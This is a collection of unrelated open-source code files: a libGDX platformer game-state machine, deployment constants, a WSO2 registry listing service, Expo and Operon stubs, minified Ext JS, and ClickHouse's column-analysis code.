package net.mgsx.game.examples.platformer.game; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.Input; import com.badlogic.gdx.ai.fsm.State; import com.badlogic.gdx.ai.msg.Telegram; import com.badlogic.gdx.graphics.Color; import net.mgsx.game.core.screen.TransitionListener; import net.mgsx.game.core.screen.Transitions; import net.mgsx.game.examples.platformer.screens.GameLoadingScreen; import net.mgsx.game.examples.platformer.screens.GameMenuScreen; /** * Game state definition. * * @author mgsx * */ public enum PlatformerGameState implements State<PlatformerGame> { INIT(){ @Override public void update(PlatformerGame entity) { // create game loading screen, force asset loading and show it entity.gameLoadingScreen = new GameLoadingScreen(entity.getAssets()); entity.getAssets().finishLoading(); // set this screen as recovery screen as well. entity.setDefaultLoadingScreen(entity.gameLoadingScreen); // create all cached screens (menu, credits..) entity.gameMenuScreen = new GameMenuScreen(entity); entity.fsm.changeState(LOADING); } }, LOADING(){ @Override public void enter(PlatformerGame entity) { entity.setScreen(entity.gameLoadingScreen); } @Override public void update(PlatformerGame entity) { if(entity.getAssets().update()){ entity.fsm.changeState(MENU_SCREEN); } } @Override public void exit(PlatformerGame entity) { entity.addTransition(Transitions.fade(Transitions.empty(Color.BLACK), 1)); } }, MENU_SCREEN(){ @Override public void enter(PlatformerGame entity) { entity.addTransition(Transitions.fade(entity.gameMenuScreen, 1)); } @Override public void startGame(PlatformerGame entity) { entity.fsm.changeState(LEVEL_SCREEN); } @Override public void showCredits(PlatformerGame entity) { entity.fsm.changeState(CREDITS_SCREEN); } }, LEVEL_SCREEN(){ @Override public void enter(PlatformerGame entity) { entity.createLevelScreen(); entity.setTransition(Transitions.fade(Transitions.empty(Color.BLACK), 1.f)); entity.addTransition(Transitions.fade(entity.levelLoadingScreen, 1.f)); entity.addTransition(Transitions.fade(Transitions.empty(Color.WHITE), 1.f)); entity.addTransition(Transitions.fade(entity.levelScreen, 1.f)); } @Override public void update(PlatformerGame entity) { if(Gdx.input.isKeyJustPressed(Input.Keys.SPACE)){ entity.fsm.changeState(MENU_SCREEN); } } @Override public void exit(PlatformerGame entity) { entity.setTransition(Transitions.fade(Transitions.empty(Color.BLACK), 1.f)); } @Override public void abortGame(final PlatformerGame entity) { // transition : // fadeout level screen // dispose it // fadein menu screen entity.setTransition(Transitions.fade(Transitions.empty(Color.BLACK), 1.f, new TransitionListener(){ @Override public void end() { entity.levelScreen.dispose(); entity.levelScreen = null; } })); entity.fsm.changeState(MENU_SCREEN); } }, CREDITS_SCREEN(){ @Override public void back(PlatformerGame entity) { entity.fsm.changeState(MENU_SCREEN); } }, GLOBAL(){ @Override public void update(PlatformerGame entity) { if(Gdx.input.isKeyJustPressed(Input.Keys.ESCAPE)){ entity.fsm.changeState(EXIT); } } }, EXIT(){ @Override public void enter(PlatformerGame entity) { Gdx.app.exit(); } } ; public void startGame(PlatformerGame entity){} public void abortGame(PlatformerGame entity){} public void showCredits(PlatformerGame entity){} public void back(PlatformerGame entity){} @Override public void enter(PlatformerGame entity) { } @Override public void update(PlatformerGame entity) { } @Override public void exit(PlatformerGame entity) { } @Override public boolean onMessage(PlatformerGame entity, Telegram telegram) { return false; } }
moonshadowmobile/cast
lib/deployment/constants.js
/* * Licensed to Cloudkick, Inc ('Cloudkick') under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * Cloudkick licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Maximum delay before runit picks up new changes (in milliseconds). * @type {Number} * @const */ var RUNIT_DELAY = 6000; /** * Regular expression pattern for the valid instance name. * @type {RegExp} * @const */ var INSTANCE_NAME_RE = /^[a-zA-Z0-9_\-]+$/; /** * Default timeouts (in ms) for hooks * @type {Object} * @const */ var TIMEOUTS = { 'pre_prepare': 50000, // Gets called after the instance is prepared 'post_prepare': 50000, // Gets called after the instance is prepared 'pre_version_activate': 50000, // Gets called before the version is activated 'post_version_activate': 50000 // Gets called after the version is activated }; exports.RUNIT_DELAY = RUNIT_DELAY; exports.INSTANCE_NAME_RE = INSTANCE_NAME_RE; exports.TIMEOUTS = TIMEOUTS;
sudeshana/carbon-governance
components/governance/org.wso2.carbon.governance.list/src/main/java/org/wso2/carbon/governance/list/services/ListMetadataService.java
/* * Copyright (c) 2005-2010, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.wso2.carbon.governance.list.services; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.wso2.carbon.core.AbstractAdmin; import org.wso2.carbon.governance.api.common.dataobjects.GovernanceArtifact; import org.wso2.carbon.governance.api.policies.dataobjects.Policy; import org.wso2.carbon.governance.api.policies.dataobjects.PolicyImpl; import org.wso2.carbon.governance.api.schema.dataobjects.Schema; import org.wso2.carbon.governance.api.schema.dataobjects.SchemaImpl; import org.wso2.carbon.governance.api.wsdls.dataobjects.Wsdl; import org.wso2.carbon.governance.api.wsdls.dataobjects.WsdlImpl; import org.wso2.carbon.governance.list.beans.PolicyBean; import org.wso2.carbon.governance.list.beans.SchemaBean; import org.wso2.carbon.governance.list.beans.ServiceBean; import org.wso2.carbon.governance.list.beans.WSDLBean; import org.wso2.carbon.governance.list.util.ListServiceUtil; import org.wso2.carbon.governance.list.util.filter.FilterPolicy; import org.wso2.carbon.governance.list.util.filter.FilterSchema; import org.wso2.carbon.governance.list.util.filter.FilterWSDL; import org.wso2.carbon.registry.admin.api.governance.IListMetadataService; import org.wso2.carbon.registry.core.ActionConstants; import org.wso2.carbon.registry.core.RegistryConstants; import org.wso2.carbon.registry.core.Resource; import org.wso2.carbon.registry.core.exceptions.RegistryException; import org.wso2.carbon.registry.core.session.UserRegistry; import org.wso2.carbon.registry.core.utils.RegistryUtils; import org.wso2.carbon.registry.extensions.utils.CommonConstants; import org.wso2.carbon.user.core.UserStoreException; import java.util.HashMap; import java.util.Map; public class ListMetadataService extends AbstractAdmin implements IListMetadataService<ServiceBean, WSDLBean, PolicyBean, SchemaBean> { private static final Log log = LogFactory.getLog(ListMetadataService.class); private static final String REGISTRY_WSDL_TARGET_NAMESPACE = "registry.wsdl.TargetNamespace"; private static final String REGISTRY_SCHEMA_TARGET_NAMESPACE = "targetNamespace"; private static Map<String,String> namespaceMap; public ServiceBean listservices(String criteria) throws RegistryException { UserRegistry registry = (UserRegistry) getGovernanceUserRegistry(); return ListServiceUtil.fillServiceBean(registry,criteria); } private String[] getLCInfo(Resource resource) { String[] LCInfo = new String[2]; String lifecycleState; if(resource.getProperties()!=null){ if (resource.getProperty("registry.LC.name") != null) { LCInfo[0] =resource.getProperty("registry.LC.name"); } if(LCInfo[0]!=null){ lifecycleState = "registry.lifecycle." + LCInfo[0] + ".state"; if (resource.getProperty("registry.lifecycle.ServiceLifeCycle.state") != null) { LCInfo[1] = resource.getProperty("registry.lifecycle.ServiceLifeCycle.state"); } } } return LCInfo; } public WSDLBean listwsdls()throws RegistryException{ RegistryUtils.recordStatistics(); UserRegistry registry = (UserRegistry)getGovernanceUserRegistry(); GovernanceArtifact[] artifacts = new GovernanceArtifact[0]; try { artifacts = (new FilterWSDL(null, registry,null)).getArtifacts(); } catch (RegistryException e) { log.error("An error occurred while obtaining the list of WSDLs.", e); } return getWSDLBeanFromPaths(registry, artifacts); } public WSDLBean listWsdlsByName(String wsdlName)throws RegistryException{ RegistryUtils.recordStatistics(); UserRegistry registry = (UserRegistry)getGovernanceUserRegistry(); GovernanceArtifact[] artifacts = new GovernanceArtifact[0]; try { artifacts = (new FilterWSDL(wsdlName, registry,null)).getArtifacts(); } catch (Exception e) { log.error("An error occurred while obtaining the list of WSDLs.", e); } return getWSDLBeanFromPaths(registry, artifacts); } public PolicyBean listpolicies()throws RegistryException{ RegistryUtils.recordStatistics(); UserRegistry registry = (UserRegistry)getGovernanceUserRegistry(); GovernanceArtifact[] artifacts = new GovernanceArtifact[0]; try { artifacts = (new FilterPolicy(null, registry,null)).getArtifacts(); } catch (RegistryException e) { log.error("An error occurred while obtaining the list of policies.", e); } return getPolicyBeanFromPaths(registry, artifacts); } public PolicyBean listPoliciesByNames(String policyName) throws Exception { RegistryUtils.recordStatistics(); UserRegistry registry = (UserRegistry)getGovernanceUserRegistry(); GovernanceArtifact[] artifacts = new GovernanceArtifact[0]; try { artifacts = (new FilterPolicy(policyName, registry,null)).getArtifacts(); } catch (RegistryException e) { log.error("An error occurred while obtaining the list of policies.", e); } return getPolicyBeanFromPaths(registry, artifacts); } public SchemaBean listschema()throws RegistryException{ RegistryUtils.recordStatistics(); UserRegistry registry = (UserRegistry)getGovernanceUserRegistry(); GovernanceArtifact[] artifacts = new GovernanceArtifact[0]; try { artifacts = (new FilterSchema(null, registry,null)).getArtifacts(); } catch (RegistryException e) { log.error("An error occurred while obtaining the list of schemas.", e); } return getSchemaBeanFromPaths(registry, artifacts); } public SchemaBean listSchemaByName(String schemaName)throws Exception{ RegistryUtils.recordStatistics(); UserRegistry registry = (UserRegistry)getGovernanceUserRegistry(); GovernanceArtifact[] artifacts = new GovernanceArtifact[0]; try { artifacts = (new FilterSchema(schemaName, registry,null)).getArtifacts(); } catch (RegistryException e) { log.error("An error occurred while obtaining the list of schemas.", e); } return getSchemaBeanFromPaths(registry, artifacts); } public PolicyBean getPolicyBeanFromPaths(UserRegistry registry, GovernanceArtifact[] artifacts) throws RegistryException { PolicyBean bean = new PolicyBean(); String[] path = new String[artifacts.length]; String[] name = new String[artifacts.length]; boolean[] canDelete = new boolean[artifacts.length]; String[] LCName = new String[artifacts.length]; String[] LCState = new String[artifacts.length]; for(int i = 0; i < artifacts.length; i++){ bean.increment(); Policy policy = (Policy) artifacts[i]; path[i] = ((PolicyImpl)policy).getArtifactPath(); name[i] = policy.getQName().getLocalPart(); if (registry.getUserRealm() != null && registry.getUserName() != null) { try { canDelete[i] = registry.getUserRealm().getAuthorizationManager().isUserAuthorized( registry.getUserName(), RegistryConstants.GOVERNANCE_REGISTRY_BASE_PATH + path[i], ActionConstants.DELETE); } catch (UserStoreException e) { canDelete[i] = false; } } else { canDelete[i] = false; } LCName[i] = ((PolicyImpl)policy).getLcName(); LCState[i] = ((PolicyImpl)policy).getLcState(); } bean.setName(name); bean.setPath(path); bean.setCanDelete(canDelete); bean.setLCName(LCName); bean.setLCState(LCState); return bean; } private SchemaBean getSchemaBeanFromPaths(UserRegistry registry, GovernanceArtifact[] artifacts) throws RegistryException { SchemaBean bean = new SchemaBean(); String[] path = new String[artifacts.length]; String[] name = new String[artifacts.length]; String[] namespace = new String[artifacts.length]; boolean[] canDelete = new boolean[artifacts.length]; String[] LCName = new String[artifacts.length]; String[] LCState = new String[artifacts.length]; for(int i = 0; i < path.length; i++){ bean.increment(); Schema schema = (Schema) artifacts[i]; path[i] = ((SchemaImpl)schema).getArtifactPath(); name[i] = schema.getQName().getLocalPart(); String[] pathSegments = path[i].split("/" + CommonConstants.SERVICE_VERSION_REGEX.substring(1, + CommonConstants.SERVICE_VERSION_REGEX.length() - 1)); if (namespaceMap == null) { namespaceMap = new HashMap<String, String>(); } if(pathSegments[0].endsWith(name[i])){ pathSegments[0] = pathSegments[0].substring(0,pathSegments[0].lastIndexOf("/")); } if (namespaceMap.containsKey(pathSegments[0] + registry.getTenantId())) { namespace[i] = namespaceMap.get(pathSegments[0] + registry.getTenantId()); } else { namespace[i] = schema.getQName().getNamespaceURI(); namespaceMap.put(pathSegments[0] + registry.getTenantId(), namespace[i]); } if (registry.getUserRealm() != null && registry.getUserName() != null) { try { canDelete[i] = registry.getUserRealm().getAuthorizationManager().isUserAuthorized( registry.getUserName(), RegistryConstants.GOVERNANCE_REGISTRY_BASE_PATH + path[i], ActionConstants.DELETE); } catch (UserStoreException e) { canDelete[i] = false; } } else { canDelete[i] = false; } LCName[i] = ((SchemaImpl)schema).getLcName(); LCState[i] = ((SchemaImpl)schema).getLcName(); } bean.setName(name); bean.setNamespace(namespace); bean.setPath(path); bean.setCanDelete(canDelete); bean.setLCName(LCName); bean.setLCState(LCState); return bean; } private WSDLBean getWSDLBeanFromPaths(UserRegistry registry, GovernanceArtifact[] artifacts) throws RegistryException { WSDLBean bean = new WSDLBean(); String[] path = new String[artifacts.length]; String[] name = new String[artifacts.length]; String[] namespaces = new String[artifacts.length]; boolean[] canDelete = new boolean[artifacts.length]; String[] LCName = new String[artifacts.length]; String[] LCState = new String[artifacts.length]; for(int i = 0; i < artifacts.length; i++){ bean.increment(); Wsdl wsdl = (Wsdl) artifacts[i]; path[i] = ((WsdlImpl)wsdl).getArtifactPath(); name[i] = wsdl.getQName().getLocalPart(); String[] pathSegments = path[i].split("/" + CommonConstants.SERVICE_VERSION_REGEX.substring(1, + CommonConstants.SERVICE_VERSION_REGEX.length() - 1)); if(namespaceMap == null){ namespaceMap = new HashMap<String, String>(); } if(pathSegments[0].endsWith(name[i])){ pathSegments[0] = pathSegments[0].substring(0,pathSegments[0].lastIndexOf("/")); } if (namespaceMap.containsKey(pathSegments[0] + registry.getTenantId())) { namespaces[i] = namespaceMap.get(pathSegments[0] + registry.getTenantId()); } else { namespaces[i] = wsdl.getQName().getNamespaceURI(); namespaceMap.put(pathSegments[0] + registry.getTenantId(), namespaces[i]); } LCName[i] = ((WsdlImpl)wsdl).getLcName(); LCState[i] = ((WsdlImpl)wsdl).getLcState(); if (registry.getUserRealm() != null && registry.getUserName() != null) { try { canDelete[i] = registry.getUserRealm().getAuthorizationManager().isUserAuthorized( registry.getUserName(), RegistryConstants.GOVERNANCE_REGISTRY_BASE_PATH + path[i], ActionConstants.DELETE); } catch (UserStoreException e) { canDelete[i] = false; } } else { canDelete[i] = false; } } bean.setName(name); bean.setNamespace(namespaces); bean.setPath(path); bean.setCanDelete(canDelete); bean.setLCName(LCName); bean.setLCState(LCState); return bean; } public String[] getAllLifeCycleState(String LCName) { return new String[0]; } }
rudylee/expo
packages/expo-permissions/index.js
<filename>packages/expo-permissions/index.js<gh_stars>1000+ module.exports = { get Permissions() { return require('./src/Permissions'); }, };
lf-shaw/operon
include/operon/core/constants.hpp
// SPDX-License-Identifier: MIT // SPDX-FileCopyrightText: Copyright 2019-2021 Heal Research #ifndef OPERON_CONSTANTS_HPP #define OPERON_CONSTANTS_HPP namespace Operon { // hashing mode for tree nodes: // - Strict: hash both node label and coefficient (for leaf nodes) // - Relaxed: hash only the node label enum HashMode { Strict = 0x1, Relaxed = 0x2 }; enum HashFunction { XXHash, MetroHash, FNV1Hash, }; } #endif
lrlarson/SF-Arts
scripts/ajax/ext/build/data/ArrayReader-min.js
/* * Ext JS Library 1.1.1 * Copyright(c) 2006-2007, Ext JS, LLC. * <EMAIL> * * http://www.extjs.com/license */ Ext.data.ArrayReader=function(A,B){Ext.data.ArrayReader.superclass.constructor.call(this,A,B)};Ext.extend(Ext.data.ArrayReader,Ext.data.JsonReader,{readRecords:function(C){var B=this.meta?this.meta.id:null;var G=this.recordType,K=G.prototype.fields;var E=[];var M=C;for(var I=0;I<M.length;I++){var D=M[I];var O={};var A=((B||B===0)&&D[B]!==undefined&&D[B]!==""?D[B]:null);for(var H=0,P=K.length;H<P;H++){var L=K.items[H];var F=L.mapping!==undefined&&L.mapping!==null?L.mapping:H;var N=D[F]!==undefined?D[F]:L.defaultValue;N=L.convert(N);O[L.name]=N}var J=new G(O,A);J.json=D;E[E.length]=J}return{records:E,totalRecords:E.length}}});
jbfavre/clickhouse-debian
dbms/src/Analyzers/AnalyzeColumns.cpp
#include <vector> #include <DB/Analyzers/AnalyzeColumns.h> #include <DB/Analyzers/CollectAliases.h> #include <DB/Parsers/formatAST.h> #include <DB/Parsers/ASTSelectQuery.h> #include <DB/Parsers/ASTTablesInSelectQuery.h> #include <DB/Parsers/ASTAsterisk.h> #include <DB/Parsers/ASTQualifiedAsterisk.h> #include <DB/Parsers/ASTIdentifier.h> #include <DB/Parsers/ASTFunction.h> #include <DB/IO/WriteBuffer.h> #include <DB/IO/WriteHelpers.h> #include <Poco/String.h> namespace DB { namespace ErrorCodes { extern const int LOGICAL_ERROR; extern const int NOT_IMPLEMENTED; extern const int AMBIGUOUS_TABLE_NAME; extern const int AMBIGUOUS_COLUMN_NAME; extern const int UNKNOWN_TABLE; extern const int THERE_IS_NO_COLUMN; extern const int BAD_LAMBDA; } namespace { /// Find by fully qualified name, like db.table.column const CollectTables::TableInfo * findTableByDatabaseAndTableName( const CollectTables & tables, const String & database_name, const String & table_name) { for (const auto & table : tables.tables) if (table.database_name == database_name && table.table_name == table_name) return &table; return nullptr; } /** Find by single-qualified name, like table.column or alias.column. * * There are primary matches: * when name is alias like * SELECT name.column FROM (SELECT 1) AS name * or name is table in current database like * SELECT name.column FROM name * * And secondary matches: * when name is name of table in explicitly specified database like * SELECT name.column FROM db.name * * If there is only one primary match - return it. * If there is many primary matches - ambiguity. * If there is no primary matches and only one secondary match - return it. * If there is no primary matches and many secondary matches - ambiguity. * If there is no any matches - not found. */ const CollectTables::TableInfo * findTableByNameOrAlias( const CollectTables & tables, const String & name) { const CollectTables::TableInfo * primary_match = nullptr; const CollectTables::TableInfo * secondary_match = nullptr; for (const auto & table : tables.tables) { if (table.alias == name || (table.database_name.empty() && table.table_name == name)) { if (primary_match) throw Exception("Table name " + backQuoteIfNeed(name) + " is ambiguous", ErrorCodes::AMBIGUOUS_TABLE_NAME); primary_match = &table; } else if (!primary_match && table.table_name == name) { if (secondary_match) throw Exception("Table name " + backQuoteIfNeed(name) + " is ambiguous", ErrorCodes::AMBIGUOUS_TABLE_NAME); secondary_match = &table; } } if (primary_match) return primary_match; if (secondary_match) return secondary_match; return nullptr; } /** Find table in case when its name is not specified. Like just * SELECT column FROM t1, t2 * Select a table, where specified column exists. * If more than one such table - ambiguity. */ const CollectTables::TableInfo * findTableWithUnqualifiedName(const CollectTables & tables, const String & column_name) { const CollectTables::TableInfo * res = nullptr; for (const auto & table : tables.tables) { if (table.structure_of_subquery) { if (table.structure_of_subquery.has(column_name)) { if (res) throw Exception("Ambiguous column name " + backQuoteIfNeed(column_name), ErrorCodes::AMBIGUOUS_COLUMN_NAME); res = &table; break; } } else if (table.storage) { if (table.storage->hasColumn(column_name)) { if (res) throw Exception("Ambiguous column name " + backQuoteIfNeed(column_name), ErrorCodes::AMBIGUOUS_COLUMN_NAME); res = &table; } } else throw Exception("Logical error: no storage and no structure of subquery is specified for table", ErrorCodes::LOGICAL_ERROR); } return res; } /// Create maximum-qualified identifier for column in table. ASTPtr createASTIdentifierForColumnInTable(const String & column, const CollectTables::TableInfo & table) { ASTPtr database_name_identifier_node; if (!table.database_name.empty()) database_name_identifier_node = std::make_shared<ASTIdentifier>(StringRange(), table.database_name, ASTIdentifier::Column); ASTPtr table_name_identifier_node; String table_name_or_alias; if (!table.table_name.empty()) table_name_or_alias = table.table_name; else if (table.database_name.empty() && !table.alias.empty()) table_name_or_alias = table.alias; if (!table_name_or_alias.empty()) table_name_identifier_node = std::make_shared<ASTIdentifier>(StringRange(), table_name_or_alias, ASTIdentifier::Column); ASTPtr column_identifier_node = std::make_shared<ASTIdentifier>(StringRange(), column, ASTIdentifier::Column); String compound_name; if (database_name_identifier_node) compound_name += table.database_name + "."; if (table_name_identifier_node) compound_name += table_name_or_alias + "."; compound_name += column; auto elem = std::make_shared<ASTIdentifier>( StringRange(), compound_name, ASTIdentifier::Column); if (database_name_identifier_node) elem->children.emplace_back(std::move(database_name_identifier_node)); if (table_name_identifier_node) elem->children.emplace_back(std::move(table_name_identifier_node)); if (!elem->children.empty()) elem->children.emplace_back(std::move(column_identifier_node)); return elem; } void createASTsForAllColumnsInTable(const CollectTables::TableInfo & table, ASTs & res) { if (table.storage) for (const auto & name : table.storage->getColumnNamesList()) res.emplace_back(createASTIdentifierForColumnInTable(name, table)); else for (size_t i = 0, size = table.structure_of_subquery.columns(); i < size; ++i) res.emplace_back(createASTIdentifierForColumnInTable(table.structure_of_subquery.getByPosition(i).name, table)); } ASTs expandUnqualifiedAsterisk( AnalyzeColumns::Columns & columns, const CollectAliases & aliases, const CollectTables & tables) { ASTs res; for (const auto & table : tables.tables) createASTsForAllColumnsInTable(table, res); return res; } ASTs expandQualifiedAsterisk( const IAST & ast, AnalyzeColumns::Columns & columns, const CollectAliases & aliases, const CollectTables & tables) { if (ast.children.size() != 1) throw Exception("Logical error: AST node for qualified asterisk has number of children not equal to one", ErrorCodes::LOGICAL_ERROR); const ASTIdentifier & qualifier = static_cast<const ASTIdentifier &>(*ast.children[0]); const CollectTables::TableInfo * table = nullptr; if (qualifier.children.empty()) table = findTableByNameOrAlias(tables, qualifier.name); else if (qualifier.children.size() == 2) table = findTableByDatabaseAndTableName(tables, static_cast<const ASTIdentifier &>(*qualifier.children[0]).name, static_cast<const ASTIdentifier &>(*qualifier.children[1]).name); else throw Exception("Unsupported number of components in asterisk qualifier", ErrorCodes::NOT_IMPLEMENTED); /// TODO Implement for case table.nested.* and database.table.nested.* if (!table) throw Exception("There is no table " + qualifier.name + " in query", ErrorCodes::UNKNOWN_TABLE); ASTs res; createASTsForAllColumnsInTable(*table, res); return res; } /// Parameters of lambda expressions. using LambdaParameters = std::vector<String>; /// Currently visible parameters in all scopes of lambda expressions. /// Lambda expressions could be nested: arrayMap(x -> arrayMap(y -> x[y], x), [[1], [2, 3]]) using LambdaScopes = std::vector<LambdaParameters>; void processIdentifier( const ASTPtr & ast, AnalyzeColumns::Columns & columns, const CollectAliases & aliases, const CollectTables & tables, const LambdaScopes & lambda_scopes) { const ASTIdentifier & identifier = static_cast<const ASTIdentifier &>(*ast); if (aliases.aliases.count(identifier.name)) return; if (columns.count(identifier.name)) return; const CollectTables::TableInfo * table = nullptr; String column_name; if (identifier.children.empty()) { /** Lambda parameters are not columns from table. Just skip them. * If identifier name are known as lambda parameter in any currently visible scope of lambda expressions. */ if (lambda_scopes.end() != std::find_if(lambda_scopes.begin(), lambda_scopes.end(), [&identifier] (const LambdaParameters & names) { return names.end() != std::find(names.begin(), names.end(), identifier.name); })) { return; } table = findTableWithUnqualifiedName(tables, identifier.name); if (table) column_name = identifier.name; } else if (identifier.children.size() == 2) { const String & first = static_cast<const ASTIdentifier &>(*identifier.children[0]).name; const String & second = static_cast<const ASTIdentifier &>(*identifier.children[1]).name; /// table.column table = findTableByNameOrAlias(tables, first); if (table) { column_name = second; } else { /// column.nested table = findTableWithUnqualifiedName(tables, identifier.name); if (table) column_name = identifier.name; } } else if (identifier.children.size() == 3) { const String & first = static_cast<const ASTIdentifier &>(*identifier.children[0]).name; const String & second = static_cast<const ASTIdentifier &>(*identifier.children[1]).name; const String & third = static_cast<const ASTIdentifier &>(*identifier.children[2]).name; /// database.table.column table = findTableByDatabaseAndTableName(tables, first, second); if (table) { column_name = third; } else { /// table.column.nested table = findTableByNameOrAlias(tables, first); if (table) { column_name = second + "." + third; } else { /// column.nested.nested table = findTableWithUnqualifiedName(tables, identifier.name); if (table) column_name = identifier.name; } } } if (!table) throw Exception("Cannot find column " + identifier.name, ErrorCodes::THERE_IS_NO_COLUMN); AnalyzeColumns::ColumnInfo info; info.node = ast; info.table = *table; info.name_in_table = column_name; if (table->structure_of_subquery) { if (!table->structure_of_subquery.has(column_name)) throw Exception("Cannot find column " + backQuoteIfNeed(column_name) + " in subquery", ErrorCodes::LOGICAL_ERROR); info.data_type = table->structure_of_subquery.getByName(column_name).type; } else if (table->storage) { info.data_type = table->storage->getDataTypeByName(column_name); } else throw Exception("Logical error: no storage and no structure of subquery is specified for table", ErrorCodes::LOGICAL_ERROR); columns[identifier.name] = info; } LambdaParameters extractLambdaParameters(ASTPtr & ast) { /// Lambda parameters could be specified in AST in two forms: /// - just as single parameter: x -> x + 1 /// - parameters in tuple: (x, y) -> x + 1 #define LAMBDA_ERROR_MESSAGE " There are two valid forms of lambda expressions: x -> ... and (x, y...) -> ..." if (!ast->tryGetAlias().empty()) throw Exception("Lambda parameters cannot have aliases." LAMBDA_ERROR_MESSAGE, ErrorCodes::BAD_LAMBDA); if (const ASTIdentifier * identifier = typeid_cast<const ASTIdentifier *>(ast.get())) { return { identifier->name }; } else if (const ASTFunction * function = typeid_cast<const ASTFunction *>(ast.get())) { if (function->name != "tuple") throw Exception("Left hand side of '->' or first argument of 'lambda' is a function, but this function is not tuple." LAMBDA_ERROR_MESSAGE " Found function '" + function->name + "' instead.", ErrorCodes::BAD_LAMBDA); if (!function->arguments || function->arguments->children.empty()) throw Exception("Left hand side of '->' or first argument of 'lambda' is empty tuple." LAMBDA_ERROR_MESSAGE, ErrorCodes::BAD_LAMBDA); LambdaParameters res; res.reserve(function->arguments->children.size()); for (const ASTPtr & arg : function->arguments->children) { const ASTIdentifier * arg_identifier = typeid_cast<const ASTIdentifier *>(arg.get()); if (!arg_identifier) throw Exception("Left hand side of '->' or first argument of 'lambda' contains something that is not just identifier." LAMBDA_ERROR_MESSAGE, ErrorCodes::BAD_LAMBDA); if (!arg_identifier->children.empty()) throw Exception("Left hand side of '->' or first argument of 'lambda' contains compound identifier." LAMBDA_ERROR_MESSAGE, ErrorCodes::BAD_LAMBDA); if (!arg_identifier->alias.empty()) throw Exception("Lambda parameters cannot have aliases." LAMBDA_ERROR_MESSAGE, ErrorCodes::BAD_LAMBDA); res.emplace_back(arg_identifier->name); } return res; } else throw Exception("Unexpected left hand side of '->' or first argument of 'lambda'." LAMBDA_ERROR_MESSAGE, ErrorCodes::BAD_LAMBDA); #undef LAMBDA_ERROR_MESSAGE } void processImpl(ASTPtr & ast, AnalyzeColumns::Columns & columns, const CollectAliases & aliases, const CollectTables & tables, LambdaScopes & lambda_scopes) { /// Don't go into subqueries and table-like expressions. if (typeid_cast<const ASTSelectQuery *>(ast.get()) || typeid_cast<const ASTTableExpression *>(ast.get())) { return; } else if (const ASTFunction * func = typeid_cast<const ASTFunction *>(ast.get())) { String func_name_lowercase = Poco::toLower(func->name); /// As special case, treat count(*) as count(), not as count(list of all columns). if (func_name_lowercase == "count" && func->arguments->children.size() == 1 && typeid_cast<const ASTAsterisk *>(func->arguments->children[0].get())) { func->arguments->children.clear(); } /** Special case for lambda functions, like (x, y) -> x + y + column. * We must memoize parameters from left hand side (x, y) * and then analyze right hand side, skipping that parameters. * In example, from right hand side "x + y + column", only "column" should be searched in tables, * because x and y are just lambda parameters. */ if (func->name == "lambda") { auto num_arguments = func->arguments->children.size(); if (num_arguments != 2) throw Exception("Lambda expression ('->' or 'lambda' function) must have exactly two arguments." " Found " + toString(num_arguments) + " instead.", ErrorCodes::BAD_LAMBDA); lambda_scopes.emplace_back(extractLambdaParameters(func->arguments->children[0])); processImpl(func->arguments->children[1], columns, aliases, tables, lambda_scopes); lambda_scopes.pop_back(); return; } } else if (typeid_cast<ASTExpressionList *>(ast.get())) { /// Replace asterisks to list of columns. ASTs & asts = ast->children; for (int i = static_cast<int>(asts.size()) - 1; i >= 0; --i) { if (typeid_cast<ASTAsterisk *>(asts[i].get())) { ASTs expanded = expandUnqualifiedAsterisk(columns, aliases, tables); asts.erase(asts.begin() + i); asts.insert(asts.begin() + i, expanded.begin(), expanded.end()); } else if (ASTQualifiedAsterisk * asterisk = typeid_cast<ASTQualifiedAsterisk *>(asts[i].get())) { ASTs expanded = expandQualifiedAsterisk(*asterisk, columns, aliases, tables); asts.erase(asts.begin() + i); asts.insert(asts.begin() + i, expanded.begin(), expanded.end()); } } } else if (typeid_cast<const ASTIdentifier *>(ast.get())) { processIdentifier(ast, columns, aliases, tables, lambda_scopes); return; } for (auto & child : ast->children) processImpl(child, columns, aliases, tables, lambda_scopes); } } void AnalyzeColumns::process(ASTPtr & ast, const CollectAliases & aliases, const CollectTables & tables) { LambdaScopes lambda_scopes; for (auto & child : ast->children) processImpl(child, columns, aliases, tables, lambda_scopes); } void AnalyzeColumns::dump(WriteBuffer & out) const { /// For need of tests, we need to dump result in some fixed order. std::vector<Columns::const_iterator> vec; vec.reserve(columns.size()); for (auto it = columns.begin(); it != columns.end(); ++it) vec.emplace_back(it); std::sort(vec.begin(), vec.end(), [](const auto & a, const auto & b) { return a->first < b->first; }); for (const auto & it : vec) { writeString(it->first, out); writeCString(" -> ", out); writeProbablyBackQuotedString(it->second.name_in_table, out); writeCString(" ", out); writeProbablyBackQuotedString(it->second.data_type->getName(), out); const auto & table = it->second.table; writeCString(". Database name: ", out); if (table.database_name.empty()) writeCString("(none)", out); else writeProbablyBackQuotedString(table.database_name, out); writeCString(". Table name: ", out); if (table.table_name.empty()) writeCString("(none)", out); else writeProbablyBackQuotedString(table.table_name, out); writeCString(". Alias: ", out); if (table.alias.empty()) writeCString("(none)", out); else writeProbablyBackQuotedString(table.alias, out); writeCString(". Storage: ", out); if (!table.storage) writeCString("(none)", out); else writeProbablyBackQuotedString(table.storage->getName(), out); writeCString(". AST: ", out); if (it->second.node) { std::stringstream formatted_ast; formatAST(*it->second.node, formatted_ast, 0, false, true); writeString(formatted_ast.str(), out); } else writeCString("(none)", out); writeChar('\n', out); } } }
Darknez07/Codeforces-sol
B/B1567.cpp
